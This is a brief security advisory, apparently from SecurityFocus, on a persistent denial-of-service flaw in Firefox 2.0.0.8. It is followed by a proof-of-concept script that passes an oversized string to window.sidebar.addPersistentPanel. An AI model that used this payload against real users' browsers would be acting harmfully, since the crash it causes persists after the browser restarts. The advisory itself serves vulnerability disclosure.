source: http://www.securityfocus.com/bid/26216/info

Mozilla Firefox is prone to a vulnerability that results in a persistent denial of service.

This issue occurs when a victim sets a malicious bookmark and then follows it.

Successful attacks will cause Firefox to stop responding to all URI requests.

NOTE: This condition persists even after the browser is restarted.

Mozilla Firefox 2.0.0.8 is vulnerable; other versions may also be affected. 

<script>



window.sidebar.addPersistentPanel('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRGGHH!

...and more AA\'s!:)',

'http://www.example.com','\0');



</script>
